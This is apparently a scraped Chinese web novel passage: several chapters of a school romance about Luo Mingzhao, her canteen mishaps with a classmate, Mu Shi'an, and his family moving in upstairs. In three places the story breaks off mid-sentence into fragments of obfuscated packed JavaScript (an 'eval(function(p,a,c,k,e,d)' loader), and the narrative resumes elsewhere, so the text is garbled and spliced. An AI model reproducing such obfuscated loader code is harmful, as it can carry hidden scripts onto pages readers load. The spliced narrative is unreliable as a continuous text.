“噗,哈哈哈——”梁若璇手上还沾着些冰饮外的水珠,但她笑得不管不顾,硬生生往牧时桉身上打,反正周围除了他们外没别人,“太扯了吧,真的她太有梗了,哈哈哈,不行我必须认识她一下,加个好友。” “你能不能不要每次大笑,就要殴打我,怎么不打薛游?”牧时桉瞥她一眼,咬牙切齿地把她胳膊往旁边一拽。 梁若璇笑得差不多,擦去眼角的生理泪水,一抽一抽地说:“薛游已经很傻了,不能再打,你聪明,有余地。” 薛游就是前一天在二食堂的那位埋头吃炒面的兄弟,他听到这话,瞪大眼睛委屈巴巴地望着两人。 这边食堂,正在军训的高一新生们如同饿狼扑食,成为了食堂里一片绿色风景。 原本骆眀昭跟林雨彤是准备去一食堂试试口味的,但那边已经被迷彩服们占满,没办法她俩才又来了二食堂,这边人果然稍微少一些。 两人端着餐盘四处找位置,最后落坐在角落的桌上。 开始骆眀昭是想吃昨天薛游吃的炒面,但昨天她来得及没问是在哪个窗口买的,最后选择到清真窗口买了碗牛肉拉面,还浇上了满满的醋和辣子。 “所以你跟人家那么说的,你说背单词hamburger?”林雨彤托着脑袋像看什么珍稀动物一样看她,忍住笑意。 骆明昭拿筷子把有些坨的面条搅开,哭丧着脸:“要不然咋说,我说,哎呀兄弟,看你吃汉堡太稀奇,像个机器人,多冒昧啊。” 林雨彤也点了牛肉拉面,但只倒些醋,看着清清淡淡的:“你管人家叫汉堡哥就已经很是冒昧了,大姐。” 骆眀昭先用勺子盛口汤,鲜美的热汤佐以辣椒和醋,果然牛肉拉面这种就是平时想不起来吃,但猛地一顿就会觉得无敌美味,又喝了几勺,她才开始夹起筋道的面条入口。 “有那么好吃吗?”林雨彤笑着问,她边吃饭,手还闲不下来要刷刷微博什么的,再看骆眀昭专注吃饭,一口一口吃得认真又满足。 骆眀昭眼睛亮晶晶的,边嚼着边点头:“当然好吃,明天我还想吃这个。” 当然,她明天就会找到新的美食,当下只是口嗨罢了。 “你好,我们可以坐在这里吗?”骆眀昭耳边忽然传来女声,她还没来得及抬头,就看见对面的好姐妹看着自己背后,诧异的神情。 这声音有些许熟悉,她赶紧放下筷子回头,就看见梁若璇正端着餐盘站在后面,旁边还跟着薛游和牧时桉,又见汉堡哥,骆眀昭有些心虚地瞧他一眼,没想到他也正举高临下地看她,吓得她赶紧错开视线。 梁若璇嘴角微微扬着,有些惊讶,似乎是没想到:“啊,原来是你啊,真巧。” 薛游、牧时桉:不敢多话,你说巧就巧吧…… 明明是她老远就瞧见角落里坐着的两人,想来跟骆眀昭认识一下,还非装成食堂偶遇。 骆眀昭嘴上还沾着辣椒油:“是、是啊,你们想坐在这吗?” 梁若璇不好意思地开口,解释道:“对,好多位置都有人了,剩下的桌子都不太干净,所以我们才来找人拼桌的。” 她们两人坐的是个六人位餐桌,只不过图宽敞都坐在长椅中间,虽说跟汉堡哥是尴尬些,但是面对漂亮女生,骆眀昭还是没有任何抵抗力的,她赶紧跟好姐妹使了个眼色,询问她的意见。 林雨彤自然是同意:“嗯,那大家就快坐吧,一会儿饭都凉了。” “那就谢谢啦。”梁若璇脸上挂着淡淡笑意,维持着她恬静女神的架势,实际上动作比谁都快,一个健步就坐到了骆眀昭左边空位。 骆眀昭眼皮跳了跳,总感觉旁边略过一阵风,是自己的错觉吗? 牧时桉端着餐盘,很自然地就坐到了她的右边空位,他想得很简单,毕竟对面的女生他也并不认识,骆眀昭虽然有点怪,但好歹交换过姓名。 只剩薛游一个,他也不在意,直直朝着林雨彤身旁坐过去。 五人刚坐在同一张桌子时,那个氛围实在是,难以言喻,似乎是在玩谁先说话谁投降的游戏,一秒钟互看八百次眼色。 骆眀昭也不自在起来,虽然这并没影响她的食欲,还在一口口夹着面条,但她总觉得要说些什么来打破这种僵局,要不然吃饭容易积食,总要创造个良好就餐环境。她目光留在梁若璇手边的喜茶时,来了主意。 “哎,北校区这边是可以点外卖吗?”她指着那喝剩下的半杯多肉葡萄,好奇地出声问道。 梁若璇清冷的脸上,莫名带了丝狡黠的笑意:“当然不行,而且直接送到校门口是会被保安大叔没收的,但是你只要把位置定在侧门旁边的栅栏那里,小心一点是不会被发现的,大家都这么干。” 气氛由此瞬间松懈下来,林雨彤也插话说道:“我们南校区也是这样,但可能因为食堂太难吃,领导们都直接睁一只眼闭一只眼,装没看见。” “真的吗?南校区领导那么亲民啊。” “是啊,还有我跟你说……” 这两人意外的你一言我一语地聊起来,话题由吃到喝再到种种高中女生会感兴趣的话题,骆眀昭功成身退,乐得自在地嗦面。 她吃得专注,没能瞧见身旁的牧时桉盯着她看了一会儿,若有所思。 面条是会繁殖的,就像骆眀昭吃东西慢慢吞吞,明明一直在吃,也没见碗里少去多少,她抬眼往林雨彤的碗里也看了一眼,她几乎一口没动,繁殖的更多了。 吃个七分饱,秉持着不浪费粮食的原则,她决定中场休息一下,再接着吃,她放下筷子把手机从裤兜里摸出来,闲来无事翻着,正看着绮城美食探店视频呢,微信忽然来了消息,是他们“相亲相爱一家人”里的消息,老骆跟疯癫一样,接连不断发了好多条消息。 骆眀昭他爹:【我在小区里碰见那个姓牧的了!】 骆眀昭他爹:【他们家不是早就把家属院的房子租出去了吗?怎么他爱人跟我说这两天要搬过来。】 搬过来?骆眀昭捧着手机愣了愣,眼睛不自觉往身旁这位脸上去瞅,他似乎一直在低头看手机。 幸福小王:【没租,挂了好久没人看,就这老破小,谁要住啊。】 骆眀昭家住的是二附旧家属院,十年前医院整体搬迁过一次,旧家属院就慢慢住得人不多了,原本还占着个学区房的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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断了聊天的梁若璇也认真吃起饭来,后来这三人都是在同一个窗口要的炒饭,牧时桉放下手机,也拿起了勺子,开始吃饭。 骆眀昭吃到最后几口,她撑得不行,放下筷子双目无神地刷着手机,准备再缓缓,饭桌上安静地各自吃着饭。 她越看手机越撑,感觉吃完剩下的,要趁着午休前,多溜达几圈才行,正撑着脑袋发呆时,饭桌上四人中,还是那个人吸引走了她的注意。 她悄悄偏过目光,只见牧时桉拿着食堂里标配的“液态勺”,一口一口地吃着炒饭,实话讲他吃饭很安静,细嚼慢咽也是健康的进食方式,可就是没劲。 没劲,骆眀昭绞尽脑汁也只能想出这么一个形容词来。就比如对面的薛游,他吃饭就好像在补充幸福能量,大口咀嚼每口都很满足,再比如梁若璇,她虽然也是吃得慢条斯理,但能看出来,吃得很香,这份炒饭很合她的胃口。 但唯独牧时桉,从他的表情里看不出一丝一毫对食物的反应,只是为了活下去而进食,嘴微微动着,重复而又枯燥,像AI装人类。 她是没有贬低人家的意思,只是若是再看下去,她真就一点也吃不下去了,这位大哥对她来说,几乎就是下饭的反义词。 刚想收回视线,猛然间,被她偷瞧的人也忽然直直地看着她,一时间四目相对。 骆明昭能清楚明白地读出,那双深邃眼睛里藏着的疑问——你为什么看我? 就是啊,她真是闲疯了,居然要盯着人家吃饭,自己是不是有病啊! 后来再复盘这事的时候,骆眀昭自述自己应该是脑子被铁锈住,转不动了,要不然她那么能又一次,当着人家的面,缓缓闭上眼。 牧时桉:…… 正巧吃完饭的薛游,扬起脑袋,在饭桌对面完完整整地看完这一幕,于是非常没有眼色地激动说道:“牧时桉,你又被人家嫌弃到闭眼了!” 饭桌上的所有人:! 5. 可口可乐 “不是啊同学,我真的没有嫌弃你啊,这真的只是个误会而已。”走出食堂时,骆眀昭紧跟在牧时桉身侧,这是她无力解释地第不知道多少回。 都是那个叫薛游的一惊一乍,这事原本能糊弄过去的,他一咋呼,都有人都知道了,所有人包括牧时桉,都用很难以言喻的眼神看着她,虽说审美有差异,但嫌弃这么一张脸,那也有些不识好歹了吧。 牧时桉和薛游大步走在前面,树荫下清爽的风拂过面颊,轻柔掀起他的发丝,骆眀昭埋着头跟在他身后,惴惴不安的像个小太监,偏偏另外两个人,都在后方偷笑。 梁若璇脸一抽一抽的,即将破功之际,她侧过脸问一旁的林雨彤:“她以前就这么有意思啊?” 她们两个经过饭桌上短暂的交流,已经初步建立了姐妹间的友情,很多话题都一拍即合,林雨彤抱着胸偷笑:“啧啧,这只是冰山一角而已。” 两人在背后咬耳朵,被骆眀昭余光所捕捉到,牧时桉一直没接她的话,她气鼓着脸,朝着后面的林雨彤,用脑袋撞她一下:“笑笑笑,别看笑话了大姐,你就不帮我解释解释吗?” “你直接坦白从宽嘛,我这旁观者不好插手的。”林雨彤笑着摊手。 她暗示说,骆眀昭觉得这位帅哥吃饭让人没食欲的这件事,可这事怎么好解释。 难不成要她走过去,拍拍肩膀:哇偶,帅哥,你吃饭时,饭缩力真强,所以我这么爱吃饭的人,才不得已暂时将我眼睛闭了起来。 这比说嫌弃他到闭眼更具有侮辱性吧! “我就说这北校区跟我八字不合。”骆眀昭小声嘟囔着。 不仅让她遇上老骆对头的儿子,还阴差阳错跟人家闹了误会,都说长辈恩怨不及小辈,这要是牧时桉知道自己是谁,真是双重恩怨,buff叠满。 可得好好想想,该怎么委婉又礼貌的解释明白。 五个人的队伍在不知不觉间,分成男女两队,男生走得快,距离就越拉越大。 薛游看了一身旁默不作声的兄弟,很欠扁说着:“从前因为跟你做兄弟,我很没有自信,可自从这位同学,向我证明大众的审美不代表全部人的审美,我一下子就不自卑了。” “如果你的自信是靠跟我比较才有的,那只能说都不用风吹,走两步就散了。”牧时桉漫不经心地回他,插着裤袋往前走,脑子里一直在想刚刚骆眀昭看着他闭眼的事。 相貌越好的人,越能敏锐察觉到自己跟身边人相比的与众不同,虽然牧时桉从没有以此彰显过优越感,但他是帅而自知的。 可他难道是真的不符合骆眀昭的审美吗?难道在她的世界里,他算见都见不得的丑人? 他忽然想找一面镜子,自查一下,应该还是帅的吧?他实在是不太确定了。 - 直到跟牧时桉回到同个考场开始考试,骆眀昭都没想出该怎么跟人家好好解释。 她甚至都想到编个自己生性爱闭眼这么个瞎话来,但想想祸从口出,说不定今后见到他都得猛闭眼,那她也坚持不了几天吧。 下午考三门综合,物化生都是她的弱项,专注于做题,就没功夫去想有的没的了。 考完试收卷,高二学生们就可以幸福地放学了,拿上笔袋和水杯,骆眀昭就准备去前面的桌子找自己的书包,正要起身,余光瞧见斜前方牧时桉也正从椅子上站起身,去拿包。 骆眀昭见状,又装模作样地在桌上假忙一会儿,直到看着牧时桉离开考场才长呼一口气,从自己的位置上起身,溜去拿书包。 实在是她还没想到该怎么跟人家堂堂正正地解释,能不见就先不见吧。 从包里翻出手机,林雨彤给她发消息说自己先走一步,毕竟林雨彤是有自己小电驴的人,不像她,只能苦逼地从夹层里翻出一卡通来,套在脖子上。 现在手机扫码确实很方便,但骆眀昭还是喜欢刷卡时“滴”一下的感觉,像刷卡机在跟她打招呼,滴,欢迎乘车哦,一种小小的仪式感。 骆眀昭耳朵上挂着有线耳机走出校园,里面正放着她喜欢的歌,正往公交车站的方向拐过去时,前方站牌下出现个熟悉的少年身影。 原本是被广告牌挡住的,随着她地走近而愈发清晰,就是牧时桉本人,高挑的身影,从穿着相似校服的人群中脱颖而出。 骆眀昭感觉眼皮跳了跳,不至于巧成这样吧? 很快她又反应过来,对了,听老骆说他今天要回家属院住。 那岂不是就是跟她同路同车吗! 16路公交车从远处开过来,骆眀昭攥着手里的公交卡,这就是她要上的那辆车啊。 车精准地停在公交站台的缺口,车门打开,她已经看见路人们和牧时桉已经往车上走了,等车的人不少,车上几乎站满人。 浑水摸鱼上车,应该不会被发现吧,她想着。 骆眀昭快步走上前去,跟在最后一个上车路人的身后,刷了公交卡后,车门缓缓关闭,车上已经没什么下脚地了,她只能勉强抱住司机旁边的那根杆。 晃悠晃悠,公交车朝着它既定路线行进,骆眀昭被淹没在人群中,她时不时头往后面探探,但面前站着两个将近一米八的大哥,她只能从缝隙出看见牧时桉在后门处。 应该是看不见她的,除非他有透视眼。 “第八中学站到了,请您从后门下车。”广播在车厢内响起,后门打开乘客接二连三下车,骆眀昭踮起脚,要躲着走的人已经下了车,她放下心来,快步穿过人群刷卡最后一个下了车。 牧时桉步子很大,小吃街的人又总是络绎不绝,很快骆眀昭就看不见他的身影,她索性乐得自在,悠哉悠哉漫步在这条街上,从搬到这边开始这条街就是这样熙熙攘攘的,原先各个餐车凌乱地霸占了街道各个角落,那几年整改后,就变得整洁有序。 路过昨天林雨彤光顾的臭豆腐小店,骆眀昭心念一闪,改变了方向,停留在店门前,笑眯眯地扬声道:“老板,要大份的干拌臭豆腐。” 端着臭豆腐进家门时,老骆和王女士的两双拖鞋都在玄关摆放着,家里没人。 确实是放学太早,外面天都还亮着,骆眀昭把书包放回房间,顺便把iPad拿出来,支在餐桌上,屏幕播放着她最近喜欢的番剧,她慢悠悠用竹签插起一块来,上面淋着咸辣的汤汁,啊呜一口,吃得脸颊鼓鼓。 开学后晚自习要上到九点半,这样悠闲自在的时刻,必须好好珍惜。 吃到一半时,门被敲响,骆眀昭抽出张纸巾擦嘴,放下竹签轻手轻脚到房门前,一般除了外卖员外,没人会敲她家的门,独身在家要有警惕心,她悄悄俯到门眼上,透过小孔往门外看去。 牧时桉?!他怎么找到她家里来了? 骆眀昭心里直打鼓,震耳欲聋的心跳声冲击着她的理智。 她左眼一直贴在小孔上,牧时桉已经换下校服,穿的是非常舒适的黑色短袖,他似乎要再伸手敲响大门,只不过在碰到门板的前一秒,他多说了一句:“骆叔叔你在家吗?” 原来是来找老骆的,但他还没回家呢。 说起来既然两家在同一家医院,那骆齐认识牧时桉也是很可能的,她从前不太喜欢医院的氛围,所以几乎没怎么去过父母的工作场所。 要开门吗?她在纠结着。 但手触及到门把手的那一刻,她也想通了,既是未来邻居,又是同级生,这么遮遮掩掩也不像话,毕竟总有一天会了解的,何不大大方方的开门。 门被开启时,最讶异的那位,莫不过牧时桉本人,刚刚由于视线受阻,骆眀昭没能看到他手里还提着一袋葡萄。 “是你?”牧时桉站在楼道里,愣了几秒,英气的眉眼中染上丝自我怀疑的底色,“你是,骆叔叔的女儿吗?” 骆眀昭脑袋上还别着个立体的毛线小猫发卡,把她的齐刘海全部夹起来,随着她的晃动而轻摇,她兀自叹了口气,仰头看向他,答非所问:“进来吗?” 骆家在二楼,牧家在三楼,这趟下来,牧时桉其实是带着任务的。 旧房很多东西都不能再用了,就比如扫把,上面的毛一边扫一边掉,孙惠还在家打扫着卫生,于是把刚换衣服从房间出来的牧时桉揪来当壮丁,交给他一袋个大饱满的紫葡萄,让他下楼跟骆叔叔家借把扫把。 这位骆齐叔叔他是见过的,但似乎跟他爸牧正云气场不太和,每次在同一场合气氛就有些怪。 牧时桉沉吟片刻,抿着唇:“不了,我妈让我下楼跟骆叔叔借个扫把,顺便把葡萄给你们。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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毕竟之后就是邻居,抬头不见低头见的,关系得搞好吧。 牧时桉点头:“嗯,也是没想到,你就是骆叔叔的女儿,还蛮有缘分的。” “哈哈,是啊,我偶尔也听我爸提过牧叔叔。”反正是没说过什么好话就是了,她干干巴巴地笑,脸僵硬得要命,“你坐吧,别站着了。” 牧时桉也不是很想再坐沙发,于是把手里的袋子递给她:“给,放冰箱里吧,我妈同事拿给她了不少。” “好,谢谢。”骆眀昭接过葡萄,逃命一般地溜进厨房,终于能自在点啦。 不请他进来,不礼貌,可真把他请进来,又别扭,人真的是纠结的生物啊。 她伸手拉开冰箱门,把葡萄放进去,最上层放着一排罐装可乐,骆眀昭顿了顿,拿出两瓶来,皮肤触及的地方冰冰凉凉的。 走出厨房,骆眀昭手里拿着两瓶可乐,递给他一罐,故作随意地开启新话题:“给,家里只有这个,不过可口可乐就是可乐王道嘛,你说对吧。” “可乐还有区别吗?”牧时桉若有所思地望向手里红色罐子。 靠,忘了,这大哥好像对待入口的东西跟寻常人不太一样。 一般这种可乐派别的话题,跟其他人都能聊上一阵的,但在他身上却失效了。 骆眀昭低头起开易拉罐拉环,对着喝了一口,冰爽又带着跃动的味道顺着她的喉管而下。 牧时桉也喝了一口,随后似乎想到什么,然后问道:“似乎从前没怎么在二附见过你。” 大夫的子女们在医院时,或多或少都被家长凑着一起玩过,牧时桉去医院找过几次牧正云,也认识了几个岁数差不多大的孩子,但从来都没见过骆眀昭。 骆眀昭回道:“小时候不太喜欢医院的气味,所以几乎没去过。” “是这样……”他拖着尾音,牧时桉声音带着丝少年人的哑意,还蛮好听的,“说起来也很久都在医院没见到骆叔叔了,王阿姨还见过几次。” “哦,我爸去年辞职了,现在转行做生意中。”她轻描淡写地说。 饭桌上一直亮着屏幕的平板还在持续发热,骆眀昭赶紧按了下电源键。 牧时桉也是随口一问:“医生的话,医疗器械代理?” “……”骆眀昭顿了顿,没说话,半晌后,她才回道,“也差不多,他在卖殡葬用品。” 牧时桉:? 差很多吧? 6. 西红柿鸡蛋炒面 说起老骆转行做殡葬,很多人都持着不理解的态度,开始家里人都不同意,尤其是骆家爷爷奶奶,为此生了好大一番脾气,毕竟老一辈都觉得这行当晦气。 但骆齐态度坚定,更重要的原因是他不想再当医生这个职业,后来跟王乐萍骆眀昭好好沟通一次,他们也就随他去了。 “医生嘛,见证生老病死的,殡葬行业不也是为故去的人服务吗?差不多。”骆眀昭也懂他的不解,这很正常,说实在大夫干殡葬太容易被误解了。 比如,骆齐去年盘了个底商卖货,中元节将至,恰好有位老病患偶然进店买东西,刚好瞧见店主是他。 跟他稍微熟一点都知道,骆家夫妇都是做医生的,于是老妇人就惊呼,他是不是跟妻子勾结,王乐萍不好好给患者治病,把人治死,然后再让家属来他这里买东西。 骆眀昭栩栩如生地跟牧时桉讲起这件事来,他挑挑眉听着她讲,很给面子地问了一句:“然后呢?” “我妈是牙医。”骆眀昭抬眸看向他,一双眼睛又圆又亮,言简意赅地用五个字杀死局面。 “咳咳……”牧时桉正喝着汽水,突起的喉结上下一动,被她的话呛到咳嗽。 骆眀昭很会讲故事,逻辑清晰口条流畅,最后还设置了悬念,他才不禁被带入进去。 “你没事吧?” “没事。” 他的眼角因为突如其来的干咳而泛起红,一八五的酷哥脸带着丝破碎感,骆眀昭不禁被吸引走视线,但很快就抽离出来,移开目光。 说起来,他俩之间明明还有误会没解开呢?就这么聊上了? 她忽然想到自己中午的时候,还追在牧时桉身后解释,但他好像没听进去。 聊天过程中,易拉罐壁上不断生出冷凝水,沾湿骆眀昭的手心,她从桌上抽出两张纸巾来,擦去水珠,她把用过的纸巾攥成球,丢进一旁的垃圾桶中。 牧时桉似乎完全没有提及“闭眼”的意思,那她该不该提呢?可她还没想好怎么解释呢。 “时候不早了,我今天就先回去了,帮我跟骆叔叔王阿姨问好,”牧时桉拿起支在桌旁的扫把,又忽地把另一只手伸进裤兜里,“既然以后都是邻居,加个微信?” 他摸出的是手机,单手解锁后,把微信二维码页面打开露在骆眀昭面前。 中午的时候,她跟林雨彤已经和梁若璇互相推过微信了,虽然过程曲折坎坷,又狗血齐飞,但牧时桉确实也算她在北校区认识的新同学,于是骆眀昭大大方方解锁手机,扫过他的二维码。 名片上显示的名字是,卅,而头像则是一只小土狗的图片。 “这小狗满可爱的。”骆眀昭很喜欢这种毛绒绒的小动物。 牧时桉垂下眼,视线停留在她的头像上:“这是哪个日漫角色吗?” 骆眀昭:“《会长大人是女仆》知道吗?里面一个配角,女主角的妹妹,鲇泽纱奈。” “通常不都是用女主角做头像吗?” “不不不,她有特技,纱奈只要抽奖必中,很牛逼。” 这是她最佩服的绝技,实在是她抽奖、抽卡什么的太非了。 骆眀昭一脸严肃,她是真心实意的敬佩。 牧时桉瞧着她一本正经的神色,唇角不禁勾了勾:“那我就先走了,明天学校见。” 说完,他拿着扫把转身到玄关换鞋,骆眀昭轻声回了句再见,目送着他关门离开。 手机屏幕上还显示着聊天框中,已经添加他的提示,骆眀昭捧着手机沉思一会儿,经过一番操作后,将他的备注改成一个汉堡的emoji表情。 另一边,牧时桉开门进家的时候,牧正云已经从医院下班坐在沙发上了。 孙惠从厨房探出了头来:“不就是让你借个扫把吗?怎么这么久?” “借扫把?跟谁啊?”牧正云放下手机,出声问道。 孙惠:“还能跟谁,老骆呗,不就住楼下。” 牧正云一下支楞起来:“一个扫把而已,去小卖铺买一把算了,还用得着跟那个家伙借,真的是。” 牧时桉拿着扫把往厨房走,放在门口,走到沙发上拎起书包,说道:“骆叔叔没在,我正好刚在学校跟骆眀昭认识,就聊了几句。” “眀昭啊?对哦她好像也在八中来着,校区合并了是吧,”牧正云原本斗鸡一样的神色顿时平和下去几分,“好久都没见过那个小姑娘了,上次见才到我腰那。” 牧时桉没再回他,单手拎着书包,进了许久都没进过的卧室,墙壁上贴着的还是儿童房那种海蓝色墙纸,好像是在他幼儿园大班那会儿,牧家就搬离了旧家属院。 他打开书桌上的台灯,拉出椅子侧着坐下双腿交叠,胳膊撑在桌面,空闲的手又从兜里摸出手机解锁,目光落在最顶上的聊天框,上面还显示着她的网名,昭昭是我。 指尖点开聊天框,又点进头像、朋友圈,骆眀昭很喜欢发自己的九宫格生活日常,不过大部分都是吃过美食的照片,还用很诱人的滤镜调过色,乍一瞅像是美食博,只有极少几张属于她的照片,都是他拍。 牧时桉将朋友圈刷到底之后,就退出了页面,点开备注和标签。 在表情符号里,拉到后面,选择了一个单只眼睛的emoji,保存。 - 第二天一早,骆眀昭小姐又起晚了。 但好消息是,八个闹钟有效果,她比昨天还早醒十分钟,经过一阵叮呤咣啷的晨起准备工作后,由被吵醒的老骆担任司机,亲自开车送她上学。 骆眀昭快步抵达考场,进门一看牧时桉已经坐在他的座位了,完成跟昨天同样流程的考前准备工作,她拎着书包走到考场前的桌上,今天同学们都很自觉,主动交书包。 折返时,正好会经过牧时桉的位置,他在考场第一排,座位前正对着放书包的桌子,考场里有的临时抱佛脚,有的天南海北地聊天,骆眀昭鬼使神差地朝他看了一眼,却见他也正托着下巴在看她。 骆眀昭先打招呼:“早上好。” “早上好。”他回道。 打完招呼,她就回到自己的座位,很快监考老师就进场,紧张刺激的数学考试正式开始。 交完考卷,骆眀昭觉得自己的灵魂已经被数学猝然夺取,她双目无神地往放书包的教室前走,拿出手机和饭卡就走出考场,去找人在七考场的林雨彤,跟好姐妹成功会面后,两人挽着胳膊就往楼梯间走。 “我感觉,我的脑细胞已经被抽干了。”骆眀昭哀嚎着。 林雨彤也绝望地回说:“对啊,这数学也太难了吧,我去。就那最后一个选择题,我甚至求出个莫名其妙的数来,最后交卷前没办法,丢橡皮选出来的。” 正值结束考试时,楼梯间里人潮汹涌,林雨彤紧紧拉着骆眀昭,带着她走出人海,走出教学楼站在空旷平地,骆眀昭才又感到自在些。 午间太阳大,骆眀昭伸出手掌遮挡住头顶烈阳,出声问道:“咱们今天吃什么?” “你昨天不是说还吃拉面?”林雨彤又记起她昨天的话来,刚说完,又想起什么,“算了,估计你也是随口那么一念,要不再去一食堂看看?” 被人记住自己说过的话,这感觉很好,骆眀昭笑得眼睛弯着:“先看看吧,说不定又被高一占领了也说不定呢。” 一进门,果然如她所想,几个打饭窗口都大排长龙,姐妹两个一对视,心有灵犀地后撤一步,走向二食堂。 二食堂人也不少,不过比起那一边来说,还是空些,主要是二食堂要现做,等待的时间比较久,那群大太阳下累一上午的学生们,自然是怎么快怎么来。 “你吃什么?” “我想吃炒面,你可以吗?” “要一份吧,我跟你分一点就好,早上我吃多了。” “OK。” 一拍即合,骆眀昭拎着林雨彤去了昨天的清真窗口,点了份西红柿鸡蛋炒面,还多要了个装米饭的小碗,为了分食。 出餐后,骆眀昭端着餐盘,林雨彤则是在前面开路,找位置。 “梁若璇他们在那,好像在招呼咱们过去。”林雨彤忽地回过头来,询问她的意见,“去吗?” 骆眀昭歪过脑袋,确实瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她正埋头吃着面条,手机则平放在桌面上,正在放着《武林外传》,骆眀昭就随便选了一集,主要是为了吸引走自己的注意,别看见牧时桉吃饭就行。 林雨彤也在旁边刷着微博,时不时还要跟梁若璇聊几句,不跟好姐妹搭话,因为熟知她吃饭时到专注时,几乎不怎么说话,用另一个说法,就是陷进饭里了。 刷手机也少,因为骆眀昭曾提出过这么个观点——边吃饭边追剧当然爽歪歪,但手机屏幕太小,吃饭的同时还要紧盯着屏幕,生怕错过细节,可要是太投入,很容易发生筷子进错位置的尴尬情况,这就导致不仅没法专注地看手机,饭也吃不香。 就像这会儿,她不用回头都知道,骆眀昭绝对是在认真埋头吃…… ? “你,在看手机啊?”林雨彤愣了,看着她几乎要惊掉下巴,不敢确定地问,“那个,请问一下,是本人吗?” 闻言,骆眀昭抬眸无语地看向她:“你觉得呢?不是本人,你觉得我是什么?现实版底特律变人?” 从某种意义上来讲,这张饭桌上的仿生人也不应该是她吧。 “你不是吃饭从不看手机的吗?嫌屏幕小。”林雨彤指着屏幕上,正在摇着扇子下楼梯的佟掌柜。 梁若璇好奇地问道:“哎,眀昭平时吃饭不看手机吗?” 林雨彤于是把骆眀昭的屏幕论跟她讲了一遍。 “嘶,感觉有些道理哈。”梁若璇若有所思。 终于找到肯定她的知音了,骆眀昭放下筷子,音调都明快几分:“对吧,对吧。” 梁若璇:“不过你今天怎么就看手机啦?” 这…… 骆眀昭沉默片刻,该怎么解释好呢。 而下一秒,一直沉默着的薛游,听完全程,放下手里的煎饼,忽然抬起脑袋好整以暇地看着骆眀昭,发表自己的观点。 “你不会是,看着牧时桉嫌弃地吃不下饭吧?” 所有人:…… 一直懒懒散散倚着餐桌,低头在玩手机的牧时桉顺势抬起眼,带着猜不透深意的目光,跟众人一同看向骆眀昭。 骆眀昭只感觉,世界级的威慑力压在她的身上,仿佛是天塌了。 现在谁来救救她呢?? 7. 巧克力牛角包 骆眀昭很快硬着头皮调整好表情,朝着薛游摆手:“哎呦,怎么可能呢,你这人真的是,乱讲。” “哦,是吗?”这次说话的,竟是正主本人。 牧时桉挑挑眉,把手机放在一边,双手交叠在胸前,那张精致立体的脸带着若有似无的侵略性,直直冲着她,嘴角微微上抬,完全没了那副昨晚在她家拘谨的模样,这才是一贯的他。 他也好奇,面前这位看着个头小小,眼睛总是亮晶晶的骆眀昭,似乎就是每当在饭桌上瞧他,就会很怪,他难道就这么膈应地让人吃不下饭吗? 也不知道是什么在驱动他,从来不会做这种闲事的牧时桉忽地起了坏心:“那就证明一下吧?” “证明啥?”骆眀昭莫名地问着,心却悬在半空中扑通扑通直跳。 牧时桉露出与刚刚如出一辙的笑意:“你可以看着我吃饭啊,证明你没有嫌弃我。” 骆眀昭刻在骨子里的反骨基因让她下意识想回,谁质疑谁举证,她不自证,可转念一想,这事除她之外,谁又能帮她证明去。 她嘴唇微张,似在犹豫,可马上她就相想通了些什么:“行,我吃,索性我不吃亏,看着你这张帅脸也挺下饭的,是吧。” 牧时桉现在又没吃饭,光顶着一张帅脸,她怕什么!一点都不心虚。 骆眀昭直白地赞扬着牧时桉的那张外表,让饭桌上包括正主本人都愣了一瞬,不过她却没感觉,帅就是帅,她又不是眼睛瞎,人本身就是追求美感的动物,有什么不好承认的。 她拿起筷子,夹起好几根面条,两只眼直直地盯着牧时桉,四目相对,她微微俯下脑袋,张口咬着面条,因此沾上些透着亮的油,唇珠润泽还在反着光,显得唇瓣更加饱满。 牧时桉视线至此,不太自然地移开目光落点,垂在饭桌下的指尖微动。 别说,北校区厨师手艺实在牛得可以,越吃越香,没吃几口她就已经忘了原本证明自己的初始目的,一心一意嗦面。 “你这是占便宜上瘾?盯着人家吃个没完?”林雨彤用胳膊一怼正埋头吃饭中的骆眀昭,忍住即将迸发出的笑意。 骆眀昭也回过神来,得意洋洋地挺直腰杆:“你们看,我吃得多自然,堂堂正正,就你们以小人之心度君子之腹。” 她张牙舞爪说的好笑,梁若璇大概是为了不崩人设,忍着笑双肩都在发抖,林雨彤捂着嘴笑个不停,就剩对面两位男生,薛游不太好意思地挠挠头,牧时桉似乎看了她一眼,没再说什么,一番危机就这么被骆眀昭遮过去了。 吃完午饭,从二食堂溜达回教学楼,牧时桉被薛游拽着去了学校超市扫荡,就只剩女生三人,骆眀昭走在中间,两只胳膊都被漂亮小姐妹挽着,她有种感觉,自己就是左拥右抱的昏君皇帝。 嘿嘿,香香的。 高中女生的友谊总是能因为一件小事而迅速建立,经过这两天几次短暂交流她们之间的关系已经突飞猛进,可以讲些小姐妹间的悄悄话,经过骆眀昭的观察和总结,这位新姐妹梁若璇并不像表面上那么清冷孤傲遗世独立小白花,本性更大大咧咧还有点沙雕属性。 “所以你就是觉得他吃饭很机器人,所以才故意不看他的啊?”骆眀昭把前因后果都跟梁若璇讲了一遍,她愣了愣,一时半会还没消化。 初秋的绮城多了几分清爽,即便太阳总是在孜孜不倦地工作着,拂面吹来的几股风,都是舒服地让人更昏昏欲睡些。 骆眀昭侧过脑袋,一本正经:“对啊,也可能是我太小心眼了吧,但是吃饭对我来说真的是很神圣的事,一想到面前有张脸,在像机器人一样运转着自己的唇部肌肉,我就感觉,大概明天人工智能就统治全世界了。” 梁若璇半眯起眼睛想了想,从前没什么感觉,这么想想牧时桉吃饭还真挺没意思的,那会儿骆眀昭讲故事时用了个比喻,干嚼橡皮,哇太形象了。 “完,经你这么一个形容,我以后也没法直视他吃饭了。”梁若璇说。 午间休息期间,校园广播里总会响起悠扬的音乐声,骆眀昭初中那会儿学校里也会放,可以把想听的歌写在纸条上,投进广播站门口小信箱里,只是南校区也没人搞这个,但她还挺喜欢这个时刻的。 